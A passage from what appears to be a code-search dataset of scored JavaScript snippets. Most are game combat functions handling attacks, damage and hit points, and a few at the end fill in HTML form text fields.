me.mortalEnemy !== undefined)? \"You have defeated all <code>Akatsuki</code> members.<br/>Next, you face \"+me.mortalEnemy : msg ;\n\t\t\tpostMessage(\"<em>\"+msg+\"</em>\");\n\t\t\tpostStats([me]);\n\t\t //if all opponents have been defeated\n\t\t\tif(me.progress() >= 99){\n\t\t \t\tme.setImage(\"hero\");\n\t\t \t\thandleGameCompleted();\n\t\t \t\treturn\n\t\t \t}\n\t\t\tnextOpponent();\n\t\t\tpostChoices([\"fight\",\"train\"]);\n\t\t\tme.refresh();\n\t\t\treturn\n\t\t }\n\t\t \n\t\t //update choices\n\t \t postChoices(\"Attack\");\n\t\n\t\t //select next opponent \n\t \t function nextOpponent(){\n\t \t if(me.defeated.length == 0){\n\t\t\t me.opponent[1] = others[others.length - 2];\n\t\t }else{\n\t\t me.defeated.push(me.opponent[0]);\n\t\t\t var unchallenged = [];\n\t\t \t for(var i in others){\n\t\t \t\tif(!others[i].isAlive()){\n\t\t\t\t\tme.opponent[0] = me.opponent[1];\n\t\t\t\t\tme.opponent[1] = others[i - 2];\n\t\t\t\t\tbreak\n\t\t\t\t }\n\t\t\t\t \n\t\t \t }\n\t\t }\n\t\t }\n\t \t if(me.opponent[1] == \"\" && me.progress() <= 20){\n\t \t \tnextOpponent();\n\t \t }\n\t\t return\n\t }\n }\n\t\n\t//to update the button(s) with available choices.\n\tfunction postChoices(choices, color){\n\tchoices = ((choices.constructor).toString().toLowerCase().indexOf(\"string\") >= 0)? [choices] : choices ;\n\t$(\".buttons .but\").first().text(capitol(choices[0]));\n\tif(color !== undefined){\n\t\t$(\".buttons .but\").first().css(\"background\",color);\n\t}\n\tif(choices.length >= 2){\n\t if($(\".buttons .but\").length < 2){\n\t\t $(\".buttons\").append(\"<span class='but'></span>\")\n\t}\n\t $(\".buttons .but\").last().text(capitol(choices[1]));\n\t}else if($(\".buttons .but\").length >= 2){\n\t $(\".buttons .but\").remove(\":eq(1)\")\n\t}\n\tvar clicked = false;\n\t$(\".buttons .but\").one(\"click\", function(){\n\t\tif(!clicked){\n\t \t\taction($(this).text());\n\t \t\tclicked = true;\n\t \t}\n\t \treturn\n\t });\n\t}\n\tpostChoices([\"fight\",\"train\"]);\n\n}", "title": "" }, { "docid": "d9da89c0d1bddb7996c8d6f1c922e860", "score": "0.5705232", "text": "static attack(){\n const diceRollEnemy = Math.floor(Math.random() * 5) + 1; \n const diceRollPlayer = Math.floor(Math.random() * 5) + 1; \n const enemyAttack = player.enemy.atk + diceRollEnemy;\n const playerDef = player.details.combat.deffense + diceRollPlayer;\n const deathScreen = document.querySelector('.dead-block');\n let hitMsg = '';\n let missMsg = '';\n const hps = enemyAttack - playerDef === 1 ? 'život' : enemyAttack - playerDef < 5 ? 'životy' : 'životov';\n\n //generates different hit and miss messages for enemy\n switch(diceRollEnemy){\n case 1:\n hitMsg = `${player.enemy.name} ťa zranil za ${(enemyAttack - playerDef)} ${hps}`;\n missMsg = `${player.enemy.name} sa zahnal ale jeho útok minul`;\n break;\n case 2:\n hitMsg = `${player.enemy.name} ťa zasiahol a jeho útok ti uberá ${(enemyAttack - playerDef)} ${hps}`;\n missMsg = `${player.enemy.name} ťa zasiahol no jeho útok ti nespôsobil žiadne zranenie`;\n break;\n case 3:\n hitMsg = `${player.enemy.name} útočí a zraňuje ťa za ${(enemyAttack - playerDef)} ${hps}`;\n missMsg = `${player.enemy.name}ov útók ťa minul len o vlas`;\n break;\n case 4:\n hitMsg = `Snažil si sa kryť, no ${player.enemy.name}ov útok ťa zraňuje za ${(enemyAttack - playerDef)} ${hps}`;\n missMsg = `Vykril si ${player.enemy.name}ov útok`;\n break;\n case 5:\n hitMsg = `${player.enemy.name} ťa zranil za ${(enemyAttack - playerDef)} ${hps}`;\n missMsg = `${player.enemy.name} útočí no jeho útoku si sa úspešne vyhol`;\n break;\n case 6:\n hitMsg = `${player.enemy.name} zaútočil a spôsobil ti zranenia za ${(enemyAttack - playerDef)} ${hps}`;\n missMsg = `${player.enemy.name} sa zahnal no jeho útok minul`;\n break;\n }\n\n if(enemyAttack - playerDef > 0 ){\n player.details.vitals.currentHp -= (enemyAttack - playerDef);\n TextField.log(hitMsg);\n if(player.details.vitals.currentHp <= 0){\n deathScreen.style.display = 'flex';\n return;\n }\n player.setCurrentHp(player.details.vitals.currentHp);\n }else{\n TextField.log(missMsg);\n }\n }", "title": "" }, { "docid": "ef1fffccfacfa8d83ba8dac909f3edc5", "score": "0.5692443", "text": "function attackFunc(){\n\n var attacker = atkState.minOne.atk; \n var victim = atkState.minTwo.health;\n var result = victim - attacker;\n atkState.minTwo.health = result;\n console.log(atkState.minTwo);\n //console.log(gameObj.lghtSide.lightSoldier.health);\n\n // resetting the atkState\n atkState = {\n clickState: 0,\n minOne: null,\n minTwo: null\n }\n console.log(atkState.clickState);\n }", "title": "" }, { "docid": "00ed1fb57d5b3f2c0a76c46cd5936ee4", "score": "0.5691929", "text": "blow(target, attacker) {\n let blowType;\n while (true) {\n blowType = prompt(\"Please choose an attack type:\\n1: Normal\\n2: Special\\n\");\n if (blowType === '1' || blowType === '2') break;\n }\n if (blowType === '1') return attacker.dealDamage(this.alivePlayers[target]);\n if (blowType === '2') return attacker.specialDamage(this.alivePlayers[target]);\n }", "title": "" }, { "docid": "49f4507f9a3cbb2727e1c2a366011094", "score": "0.5691864", "text": "makeattack(damage, timetoprime, timeleft) {\n\n //when this attack lands, it clones these buffs\n //and gives them to the thing it lands on\n this.buffstoinflict = new EntitiesBuffs();\n\n //the amount of damage it deals when it lands\n this.damage = damage;\n\n //the time for this object till it does damage\n this.timetoprime = timetoprime;\n\n //the time this object has left to exist\n this.timeleft = timeleft;\n\n //if this is tracably created by someone, then the creator objandpos is stored\n //here, and is used for alerting the person attacked to the presence if wanted\n this.creator = null;\n\n\n //if this object itself does damage\n this.doesdamage = true;\n\n\n\n\n\n this.setdamage = function(damagetoinflict) {\n this.damage = damagetoinflict;\n }\n\n this.getdamage = function() {\n return (this.damage);\n }\n\n this.getbuffstoinflict = function() {\n return (this.buffstoinflict);\n }\n\n //give this object the list of buffs to inflict on characters\n this.givebuffstoinflict = function(buffstoinflict) {\n\n this.buffstoinflict.addbuffs(buffstoinflict);\n }\n\n this.landedattack = function(objectattacked) {\n //deal damage to this object based on damage done\n if (this.timetoprime <= 0) {\n objectattacked.takeattack(this.damage, this.buffstoinflict);\n }\n }\n\n this.update = function() {\n\n if (this.timeleft <= 0) {\n this.isexpired = true;\n }\n\n this.timetoprime += -1;\n\n this.timeleft += -1;\n }\n\n\n }", "title": "" }, { "docid": "a6d6863232dd9cb906fdfe1b8977ea13", "score": "0.5690457", "text": "function hit(charObj, sprite, inCharObj, inSprite) {\n\n if (game.physics.arcade.overlap(dummy, ghostSpecialAtk) || sprite.animations.currentAnim.name != 'idle' && (['foxKick', 'upAir', 'meteorSmash', 'neutralKick', 'neutralPunch1', 'neutralPunch2',\n\n 'neutralPunch3', 'neutralPunch4', 'specialKick1', 'runAttack', 'slideKick', 'loopDwnKick', 'upNeutral', 'airRecovery', 'airNeutral'].includes(sprite.animations.currentAnim.name))) {\n\n charObj.hitbox.isOverlapping = true;\n charObj.hitbox.isAtkBoxActive = true;\n\n alertIsHurt(sprite, inSprite, inCharObj);\n\n\n } else {\n\n charObj.hitbox.isOverlapping = false;\n charObj.hitbox.isAtkBoxActive = false;\n\n }\n\n }", "title": "" }, { "docid": "88e51ec324c53414ad1169a873136d82", "score": "0.56899977", "text": "threatCalculator(dmg_event, attacker) {\n if (\n dmg_event.hit != \"parry\" && \n dmg_event.hit != \"dodge\" && \n dmg_event.hit != \"miss\" ) {\n return ((dmg_event.amount * this.threatScaling) + this.staticThreat) * attacker.stats.threatMod\n }\n else return 0\n }", "title": "" }, { "docid": "21a0f70364944068e22120f8815d8c47", "score": "0.56837904", "text": "attack(opponent) {\n // console.log which character was attacked and how much damage was dealt\n // Then, change the opponent's hitPoints to reflect this\n // damage = the other guys hitpoints\n console.log(`${opponent.name} was attacked with ${this.strength} damage.`)\n opponent.hitpoints = opponent.hitpoints - this.strength;\n }", "title": "" }, { "docid": "98a46589df637066b5d6a01c7e2dc18b", "score": "0.56826955", "text": "function bombedContinued(infoOnShot,a,b,shipSize){\n\t\tvar c=2;\n\t\t\n\t\t\n \t\tif(infoOnShot==true){\n\t\t\trecorder.registerEnemyTurn(a,b,true);\n\t\t\taudioBombed.play();\n \t\t\tchangeElementPicture(c,a,b,\"pictures/boom.jpg\");\n\t\t\tengine.enemyShips.setTruth(a,b,new Boolean(1));\n\t\t\tvar destroyedShipSize=shipSize-1;\n \t\t\tif(destroyedShipSize>(-1)){\n \t\t\t\tmarkDestroyedShips(2,a,b,20,20,engine.enemyShips);\n \t\t\t\tengine.enemyResourses[destroyedShipSize]=engine.enemyResourses[destroyedShipSize]-1;\n \t\t\t\tengine.enemyShipDestroyed();\n \t\t\t}\n \t\t}\n \t\telse{\n \t\t\trecorder.registerEnemyTurn(a,b,false);\n \t\t\taudioMissed.play();\n \t\t\tchangeElementPicture(c,a,b,\"pictures/missed.jpg\");\n \t\t}\n\t\t\n}", "title": "" }, { "docid": "e07cd3f1be1bc080fdd7ae579485540f", "score": "0.5673699", "text": "attack(damage) {\n console.log(\"%cNow attacking..\", 'font-weight: bold; background: blue; border: 1px solid black;');\n //Declaring variable to determine the chance to hit according to accuracy\n {\n let hitChance = randomNum(1, 10) / 10;\n if (hitChance < this.accuracy) {\n damage.hull -= this.firepower;\n console.log('%cYou hit the enemy!!', 'font-weight: bold; background: blue; border: 1px solid black;');\n } else {\n console.log('%cYou missed!!', 'font-weight: bold; background: blue; border: 1px solid black;');\n }\n }\n console.log(\"%cEnemy hull integrity:\" + damage.hull, 'font-weight: bold; background: red; border: 1px solid black;');\n }", "title": "" }, { "docid": "67c146f44e6e46265213710ac0745430", "score": "0.56696594", "text": "celebrate(){\n if (hatch.status() > 0){\n if (this.attackPhase === 1){\n if (this.y > height/3.2){\n this.y -= 5;\n } if (this.y <= height/3.2){\n this.attackPhase = 2;\n }\n } if (this.attackPhase === 2){\n if (this.y < height/2.7){\n this.y += 5;\n } if (this.y >= height/2.7){\n this.attackPhase = 1;\n }\n }\n }\n defence = 0;\n hatch.display();\n }", "title": "" }, { "docid": "4528faaa464687adbd04c01f3d9521c0", "score": "0.5667042", "text": "async _4290_eventWagonSwamped() {\r\n await this.tt.print(\"YOUR WAGON GETS SWAMPED FORDING RIVER--LOSE FOOD AND CLOTHES\");\r\n this.F_food -= 30;\r\n this.C_clothing -= 20;\r\n this.M_totalMileage -= 20 - randomInt(20);\r\n this._4710_doMountains();\r\n }", "title": "" }, { "docid": "e0ad52047dba8e59da51a3f756d57ae2", "score": "0.56670207", "text": "function attack(forceSend){\n\tif(charData.currenthealth > 0)\n\t\tatkTotal += charData.strength;\n\tif(atkTotal > atkThreshold && inGame|| forceSend){ //Set a threshold so we don't break the server with too many messages\n\t\tsocket.emit('atk', {dmg: atkTotal});\n\t\tatkTotal = 0;\n\t}\n}", "title": "" }, { "docid": "53ee89e847ec88b317ce8cab37ff8a6f", "score": "0.56660575", "text": "function attackRound(){\n\n//player attacks\n knights[defenderIndex].hp -= player.attack;\n $('#battle-output').text('You attack '+knights[defenderIndex].name +' for ' +player.attack +' damage!');\n player.attack += player.attack;\n\n//defender attacks\n player.hp -= knights[defenderIndex].counterattack;\n $('#battle-output').append('<h3>' + knights[defenderIndex].name + ' hits back for ' + knights[defenderIndex].counterattack + ' damage!</h3>');\n\n if(knights[defenderIndex].hp < 1){\n knights[defenderIndex].hp = 0;\n $('#battle-output').append('<h3>' + knights[defenderIndex].name + ' is defeated!</h3>');\n knightsDefeated++;\n }\n\n else{\n \n }\n\n if(player.hp < 1){\n gameMode = 'defeat';\n }\n\n else if(knightsDefeated === knights.length){\n gameMode = 'victory';\n }\n\n//INSERT WINGAME / LOSEGAME CHECK\n\n // if(player.hp < 1){\n // gameMode = 'defeat';\n // }\n\n // if(knightsDefeated === knights.length){\n // gameMode = 'victory';\n // }\n\n drawScreen();\n\n}", "title": "" }, { "docid": "9d42217f55b3e6538fe2ba74f6488e71", "score": "0.5663873", "text": "function getAttack(attack) {\n let currentAttack = attack.innerText\n for(let attackKey in attacks) {\n \n if(currentAttack.toUpperCase() == attackKey.toUpperCase()) {\n let damage = attacks[attackKey].damage\n setHP(damage)\n let stamina = attacks[attackKey].staminaGained\n setStamina(stamina)\n setImg(currentAttack)\n }\n }\n}", "title": "" }, { "docid": "3a2c16e989498a0cb9472d8bb3616458", "score": "0.566226", "text": "function updateattack() {\n var t={home:[],type:[]};\n\t\tvar totalscouts;\n\t\tfor (var i in cdata.tc) {\n if (cdata.tc[i]){\n if(i==7){\n totalscouts=cdata.tc[7];\n }\n else{\n t.home.push(cdata.tc[i]);\n t.type.push(i);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\n var ttseltab=\"<table><thead><th>Troop</th><th>Real</th><th>Fakes</th></thead><tbody>\";\n for (var i in t.home) {\n ttseltab+=\"<tr><td style='height:40px;'><div class='\"+tpicdiv[t.type[i]]+\"'></div></td><td style='text-align: center;'><input id='usereal\"+t.type[i]+\"' class='clsubopti' type='checkbox' checked></td>\";\n ttseltab+=\"<td style='text-align: center;'><input id='usefake\"+t.type[i]+\"' class='clsubopti' type='checkbox' checked></td></tr>\";\n }\n ttseltab+=\"</tbody></table>\";\n $(\"#picktype\").html(ttseltab);\n }", "title": "" }, { "docid": "cdb62afc8d6f2f78002d3efcad05bc44", "score": "0.5658948", "text": "attack(monster){\n\t\tif(inRange(monster.location))monster.hp -= this.weapon.damage; //decrement the monster's HP by the currently equipped weapon's damage\n\t\telse console.log(\"Target not in range\");\n\n\t\tfor(let i =0; i<monsters.length; i++){\n\t\t\tmonsters[i].update(); //update the action of every monster in the list\n\t\t}\n\t}", "title": "" }, { "docid": "96c18f3e7abcdc26c1c1edec9b383ce9", "score": "0.5658739", "text": "randomBuff() {\n \n //getting random number for the buffs\n let id = Math.floor((Math.random() * Buff.length) + 1) -1;\n\n //checking which function to actived\n switch(Buff[id].name){\n case 'gun':\n this.gun();\n break;\n case 'oneHit' :\n this.oneHit();\n break;\n case 'noDamage' :\n this.noDamage();\n break;\n }\n \n }", "title": "" }, { "docid": "e5f68c844f8973870874d73164816257", "score": "0.56584555", "text": "function chrApplySpecial() {\n\n // --- For each abyssal\n for (let abyssal of FLEETS2[0].ships) {\n // --- Change boss form if debuffed\n if (CHDATA.event.maps[MAPNUM].debuffed) {\n chrApplyDebuffedForm(abyssal);\n } else {\n chrApplyBaseForm(abyssal);\n }\n }\n}", "title": "" }, { "docid": "69e72800946e40bc3511105006308f35", "score": "0.56538385", "text": "function alienOne(){\r\n\r\n if(gameState === 2){\r\n if(alienKeeper2 === 0){\r\n\r\n if(alien11Counter > 0){\r\n alien11.visible = true;\r\n AlienAttack(alien11, alien11attackGroup, alien11Counter)\r\n }\r\nif(alien12Counter){\r\n alien12.visible = true;\r\n AlienAttack(alien12, alien12attackGroup, alien12Counter)\r\n}\r\n if(alien11Counter < 0){\r\n alien11.visible = false\r\n }\r\n if(alien12Counter < 0){\r\n alien12.visible = false\r\n }\r\nif(alien11Counter < 0 && alien12Counter < 0){\r\n alienKeeper2 = 1\r\n}\r\n}\r\nif( alienKeeper2 === 1){\r\n if(alien13Counter >0){\r\n alien13.visible = true;\r\n AlienAttack(alien13, alien13attackGroup, alien13Counter)\r\n }\r\n if(alien14Counter > 0){\r\n alien14.visible = true;\r\n AlienAttack(alien14, alien14attackGroup, alien14Counter)\r\n }\r\n\r\nif(alien13Counter < 0){\r\n alien13.visible = false\r\n}\r\nif(alien14Counter <0){\r\n alien14.visible = false\r\n}\r\nif(alien13Counter < 0 && alien14Counter < 0){\r\n alienKeeper2 = 2\r\n}\r\n}\r\n}\r\n}", "title": "" }, { "docid": "1f87c24b58d1ce01541625063de2e157", "score": "0.5653673", "text": "hit (damage = 0, assailant, card) {\n\t\tconst hitLog = this.encounterModifiers.hitLog || [];\n\t\thitLog.unshift({\n\t\t\tassailant,\n\t\t\tdamage,\n\t\t\tcard,\n\t\t\twhen: Date.now()\n\t\t});\n\t\tthis.encounterModifiers.hitLog = hitLog;\n\n\t\tconst isMelee = card && card.isCardClass(MELEE);\n\n\t\tif (isMelee && this.encounterModifiers.ac >= damage) {\n\t\t\tthis.encounterModifiers.ac -= damage;\n\n\t\t\tthis.emit('narration', {\n\t\t\t\tnarration: `${this.givenName} was braced for a hit, and was able to absorb ${damage} damage. ${capitalize(this.pronouns.his)} ac boost is now ${this.encounterModifiers.ac}.` // eslint-disable-line max-len\n\t\t\t});\n\t\t} else {\n\t\t\tlet adjustedDamage = damage;\n\n\t\t\tif (isMelee && this.encounterModifiers.ac > 0) {\n\t\t\t\tadjustedDamage -= this.encounterModifiers.ac;\n\t\t\t\tthis.emit('narration', {\n\t\t\t\t\tnarration: `${this.givenName} was braced for a hit, and was able to absorb ${this.encounterModifiers.ac} damage. ${capitalize(this.pronouns.his)} ac boost is now 0.` // eslint-disable-line max-len\n\t\t\t\t});\n\t\t\t\tthis.encounterModifiers.ac = 0;\n\t\t\t}\n\n\t\t\tconst newHP = this.hp - adjustedDamage;\n\t\t\tconst originalHP = this.hp;\n\n\t\t\tthis.hp = newHP;\n\n\t\t\tthis.emit('hit', {\n\t\t\t\tassailant,\n\t\t\t\tcard,\n\t\t\t\tdamage: adjustedDamage,\n\t\t\t\tnewHP,\n\t\t\t\tprevHp: originalHP\n\t\t\t});\n\n\t\t\tif (originalHP > 0 && this.hp <= 0) {\n\t\t\t\treturn this.die(assailant);\n\t\t\t}\n\t\t}\n\n\t\treturn !this.dead;\n\t}", "title": "" }, { "docid": "c8d05ae62b5a82dfc47fdc3092cc5e80", "score": "0.56502205", "text": "function characterActions(action) {\n let charName = \"bob\";\n function attack() {\n let damage = 12;\n console.log(charName + \" deals \" + 12 + \" damage to their enemy!\");\n }\n\n function run() {\n console.log(charName + \" ran away safely\");\n }\n\n if(action === \"attack\") {\n attack();\n } else if (action === \"run\") {\n run();\n } else {\n console.log(\"What you talking about \" + charName + \"?\");\n }\n}", "title": "" }, { "docid": "e47ad0f3fa73a515174501fc0623cffb", "score": "0.5650067", "text": "setupCardAbilities(ability) {\n this.play({\n gameAction: ability.actions.conditional({\n condition: (context) => context.player.isTideHigh(),\n trueGameAction: ability.actions.archive((context) => ({\n target: context.source\n })),\n falseGameAction: ability.actions.raiseTide()\n }),\n effect: '{1}',\n effectArgs: (context) =>\n context.player.isTideHigh() ? 'archive itself' : 'raise the tide'\n });\n }", "title": "" }, { "docid": "2d3ae632454963c02b47ca876060b111", "score": "0.5645516", "text": "attack() {\n const chance = Math.random().toFixed(1);\n console.log(\"You're being attacked by the alien ship!\")\n\n // Ask Salah if should be <= or >=, change below accordingly\n if (chance <= my_ship.accuracy) {\n my_ship.hull -= this.firepower;\n console.log('The alien successfully attacked your ship! You have ' + my_ship.hull + ' hit points left!')\n } else {\n console.log(\"The alien's attack was unsuccessful.\")\n }\n }", "title": "" }, { "docid": "aacf5a7c1ea2debfc394df11947159f3", "score": "0.56448144", "text": "static creepMelee(creep, victim) {\r\n //Say we're building\r\n creep.say('⚔', publicDebug);\r\n //Move to the creep we're attacking, visualize the path and refresh often\r\n if (!(creep.pos.isNearTo(victim.pos)))\r\n creep.moveTo(victim.pos, { reusePath: 0, visualizePathStyle: {} });\r\n //Attack them! grr!\r\n else\r\n creep.attack(victim);\r\n }", "title": "" }, { "docid": "f9c47be1951cfca327ee7ac45eb33f1d", "score": "0.5642102", "text": "attack1() {\n this.opposingPokemon.health -= 10;\n }", "title": "" }, { "docid": "78723cdabdad4cb1bdc92b6fc5337177", "score": "0.5641399", "text": "function AvsB(hpOther, firstCrit, one, first, second, firstHit, firstCount) {\n\tvar hit = 0;\n\tvar count = 0;\n\n\t// first creature attacks second creature\n\t// for all attacks\n\tfor (var a = 0; a < creatures[first].actions.attack.length; a++) {\n\t\t// for the number of times this attack is made\n\t\tfor (var i = 0; i < creatures[first].actions.attack[a].number; i++) {\n\t\t\t// attack as long as Creature 2 is still alive\n\t\t\tif (hpOther > 0) {\n\t\t\t\t// roll d20\n\t\t\t\tvar roll = generateRandom(1, 20);\n\n\t\t\t\t// increment the number of critical hits\n\t\t\t\tif (roll == 20) {\n\t\t\t\t\tfirstCrit++;\n\t\t\t\t}\n\n\t\t\t\t// Creature 1's attack roll\n\t\t\t\tvar atk = roll + creatures[first].actions.attack[a].attack_bonus;\n\n\t\t\t\t\t// Compare the attack roll against Creature 2's AC\n\t\t\t\tif (atk > creatures[second].armor_class) {\n\t\t\t\t\t// check if Creature 1 has an expanded crit range\n\t\t\t\t\tif(creatures[first].actions.attack[a].crit_range <= roll) {\n\t\t\t\t\t\troll = 20;\n\t\t\t\t\t\tfirstCrit++;\n\t\t\t\t\t}\n\n\t\t\t\t\t// account for Great Weapon Fighting style's ability to reroll 1's and 2's once\n\t\t\t\t\tvar gwf = false;\n\t\t\t\t\tif (creatures[first].actions.attack[a].hasOwnProperty('great_weapon_fighting')) {\n\t\t\t\t\t\tgwf = true;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Find the damage dealt by Creature 1's attacks \n\t\t\t\t\tvar damage = damageValue(creatures[first].actions.attack[a].damage_dice, creatures[first].actions.attack[a].damage_bonus, roll == 20, gwf); \n\n\t\t\t\t\t// reduce the damage if Creature 2 has any resistances or immunities\n\t\t\t\t\t// damage = 0 if Creature 2 has immunity to this damage type\n\t\t\t\t\t// damage halved if Creature 2 has resistance to this damage type\n\t\t\t\t\tif (creatures[second].damage_immunities.contains(creatures[first].actions.attack[a].damage_type)) {\n\t\t\t\t\t\tdamage = 0;\n\t\t\t\t\t} else if (creatures[second].damage_resistances.contains(creatures[first].actions.attack[a].damage_type)) {\n\t\t\t\t\t\tdamage = Math.ceil(damage / 2);\n\t\t\t\t\t}\n\n\t\t\t\t\t// decrement the damage from Creature 2's health\n\t\t\t\t\thpOther -= damage;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t// Creature 1 wins\n\t\t\t\t\tif (hpOther <= 0) {\n\t\t\t\t\t\twinner.push(first);\n\t\t\t\t\t}\n\n\t\t\t\t\t// increment the number of hits made by Creature 1\n\t\t\t\t\thit++;\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\n\t\t\t// increment the number of attacks made by Creature 1\n\t\t\tcount++;\n\t\t}\n\t}\n\n\t// find the number of hits / the number of attacks\n\tvar hmratio = (count == 0) ? 0 : hit/count;\n\n\n\t// store the hit-miss ratio for each creature for this round\n\t// account for initiative when storing data\n\tif (first == one) {\n\t\tfirstHitRatio.push(hmratio);\n\t} else {\n\t\tsecondHitRatio.push(hmratio);\n\t}\n\n\treturn hpOther;\n}", "title": "" }, { "docid": "b25b61235aed016ace9ae23e82fc39bc", "score": "0.56389433", "text": "execute() {\n if (this.attack > ATTACK.NONE) {\n const targetDefense = this.target.role.getDefense();\n if (this.attack > targetDefense) {\n this.target.kill();\n }\n }\n }", "title": "" }, { "docid": "b26d1dcfdb56ccaf59a33d4e4dd6349b", "score": "0.56268775", "text": "function attackAction() {\n if (turnCounter % 2 !== 0) {\n var damageDealt = Math.round((player1.attack - (0.60 * player2.defense)));\n player2.health -= damageDealt;\n setUpStats();\n combatLogAttack(damageDealt);\n player2DeathCheck();\n if (player2DeathCheck() === false) {\n turnCounter += 1;\n }\n } else {\n var damageDealt = Math.round((player2.attack - (0.60 * player1.defense)));\n player1.health -= damageDealt;\n setUpStats();\n combatLogAttack(damageDealt);\n player1DeathCheck();\n if (player1DeathCheck() === false) {\n turnCounter += 1;\n }\n }\n}", "title": "" } ]
c97f7bcef34574799d6e8c7b59f4e54b
Reestablece los valores de los campos de texto del formulario.
[ { "docid": "4afae0566dfb1be67c65a2838ef84f5f", "score": "0.0", "text": "onReset(evt) {\n evt.preventDefault()\n\n this.show = false\n this.form.nombre = \"\";\n this.form.url = \"\";\n this.form.descripcion = \"\";\n this.form.categoria = null;\n this.enEdicion = false,\n this.$nextTick(() => {\n this.show = true\n })\n }", "title": "" } ]
[ { "docid": "44468e2566101e55281ee1f77fbfdc58", "score": "0.62927765", "text": "text (data) {\n\t\t// let type = data.fields.inputType.value.filter(function(type) {\n\t\t// \treturn type.selected == true;\n\t\t// });\n\t\treturn `\n\t\t<div className=\"${data.fields.containerClass.value}\">\n\t\t\t<div className=\"form-group\">\n\t\t\t\t<label className=\"${data.fields.labelClass.value}\" htmlFor=\"${data.fields.id.value}\">${data.fields.label.value}</label>\n\t\t\t\t<input type=\"text\" onChange={(event)=>this.handleChange(event)} id=\"${data.fields.id.value}\" name=\"${data.fields.id.value}\" data-alias=\"${data.fields.alias.value}\" placeholder=\"${data.fields.placeholder.value}\" className=\"${data.fields.cssClass.value}\" />\n\t\t\t</div>\n\t\t</div>\n\n\t\t`\n\t}", "title": "" }, { "docid": "37d5f1ded2ad81de06e0e5b984d34a7a", "score": "0.61884534", "text": "texto() {\r\n //Opcion para escribir dentro del campo de texto del usuario 1\r\n if (this.escribirUno) {\r\n this.usuarioUno += this.app.key;\r\n }\r\n\r\n //Opcion para escribir dentro del campo de texto del usuario 2\r\n if (this.escribirDos) {\r\n this.usuarioDos += this.app.key;\r\n }\r\n }", "title": "" }, { "docid": "caad72d0dae07480124c102e9a18c272", "score": "0.61006796", "text": "function loadToTextfield(recordsObj){\n let title = document.getElementById('Title');\n let author = document.getElementById('Author');\n let description = document.getElementById('Description');\n let key = document.getElementById('keyValue');\n title.value = recordsObj.title;\n author.value = recordsObj.author;\n description.value = recordsObj.description;\n key.value = recordsObj.a;\n}", "title": "" }, { "docid": "c9399d2b727855c880334535d91adc34", "score": "0.6090015", "text": "function getVal()\n {\n var txt1 = document.getElementById('fname').value;\n document.getElementById('mytext').innerHTML = txt1;\n var txt1 = document.getElementById('lname').value;\n document.getElementById('mytext1').innerHTML = txt1;\n var txt1 = document.getElementById('age').value;\n document.getElementById('mytext2').innerHTML = txt1;\n var txt1 = document.getElementById('email').value;\n document.getElementById('mytext3').innerHTML = txt1;\n var txt1 = document.getElementById('pwd').value;\n document.getElementById('mytext4').innerHTML = txt1;\n }", "title": "" }, { "docid": "d02f50b8046cfc991265cd29cecca358", "score": "0.6084612", "text": "function limpiarFormulario() {\r\n $('#Titulo').val('');\r\n $('#HoraInicio').val('');\r\n $('#HoraFin').val('');\r\n $('#ColorFondo').val('#3788D8');\r\n $('#ColorTexto').val('#ffffff');\r\n\r\n }", "title": "" }, { "docid": "11acee2c1a8c4e1c491c0422d54d7b05", "score": "0.60087085", "text": "function changeText(){\n namaBaru = document.getElementById(\"ans-nama\").value;\n roleBaru = document.getElementById(\"ans-role\").value;\n availabilityBaru = document.getElementById(\"ans-availability\").value;\n usiaBaru = document.getElementById(\"ans-usia\").value;\n lokasiBaru = document.getElementById(\"ans-lokasi\").value;\n yearBaru = document.getElementById(\"ans-year\").value;\n emailBaru = document.getElementById(\"ans-email\").value;\n\n document.getElementById(\"nama\").innerHTML=namaBaru;\n document.getElementById(\"role\").innerHTML=roleBaru;\n document.getElementById(\"availability\").innerHTML=availabilityBaru;\n document.getElementById(\"usia\").innerHTML=usiaBaru;\n document.getElementById(\"lokasi\").innerHTML=lokasiBaru;\n document.getElementById(\"year\").innerHTML=yearBaru;\n document.getElementById(\"email\").innerHTML=emailBaru;\n }", "title": "" }, { "docid": "a180dbb0dc03a5b021574d9874b8bf1e", "score": "0.59789497", "text": "function modifyText() {\n allFields.forEach(i => {\n i.value = testInput.value;\n });\n}", "title": "" }, { "docid": "4b61eee6396131bd5195c048fc111957", "score": "0.5941488", "text": "formatValues() {\n // pega os valores que o usuário digitou nos campos do fromulario\n let { description, amount, date } = Form.getValues()\n\n amount = Utils.formatAmount(amount)\n\n date = Utils.formatDate(date)\n \n // retorna oa valores formatados\n return {\n description,\n amount,\n date\n }\n\n }", "title": "" }, { "docid": "ed80359e1785eb28493ece56295bd4aa", "score": "0.5936536", "text": "function rellenarFormulario(objeto){\n //propiedad es el nodo que voy a buscar del objeto\n for (let propiedad in objeto){\n $(`#${propiedad}`).val(objeto[propiedad])\n }\n }", "title": "" }, { "docid": "af38e2b9ee67081cedd1c4e92e0b96a0", "score": "0.5920616", "text": "function limpiarInputsTiempo(val) {\n if (val == '') {\n segundo.value = ''\n minuto.value = ''\n hora.value = ''\n dia.value = ''\n years.value = ''\n }\n}", "title": "" }, { "docid": "edf998e9d25246cadf5cc76cb75bca15", "score": "0.59038454", "text": "function limpia_formato() {\n\tfor (var i=0;i<frm.elements.length;i++){ \t \n\t\tfrm.elements[i].value = ''\n\t}\n}", "title": "" }, { "docid": "168245e8865526e1af35f312c8c559bf", "score": "0.5900856", "text": "function getDataFromForm() {\n\t\t\n\t\tvar value = Object.create(null);\n\t\t\n\t\tvalue.text = $('#text').val();\n\t\tvalue.deadline = $('#deadline').val();\n\t\t\n\t\treturn value;\n\t }", "title": "" }, { "docid": "acf56d9cf7fec8f2e348726be6af6090", "score": "0.58799094", "text": "function putAsunto(form) {\n var d1 = form1.slct_asun.value;\n form1.txtf_mot.value = d1;\n}", "title": "" }, { "docid": "502d429db9856dc308eabf280dcb5af5", "score": "0.5867989", "text": "@api\n get textVal() {\n return this._textVal;\n }", "title": "" }, { "docid": "b336d8b1f73a4dc9bbe7bda686a8a724", "score": "0.583946", "text": "function AntObject_FieldInput_Text(inptField, con, options)\r\n{\r\n\t// If the field has optional values defined then print drop-down\r\n\tif (inptField.field.optional_vals && inptField.field.optional_vals.length)\r\n\t{\r\n\t\tvar subInp = new AntObject_FieldInput_OptionalValues(inptField, con, options);\r\n\t\treturn subInp;\r\n\t}\r\n\r\n\tvar options = options || new Object();\r\n\r\n\tif 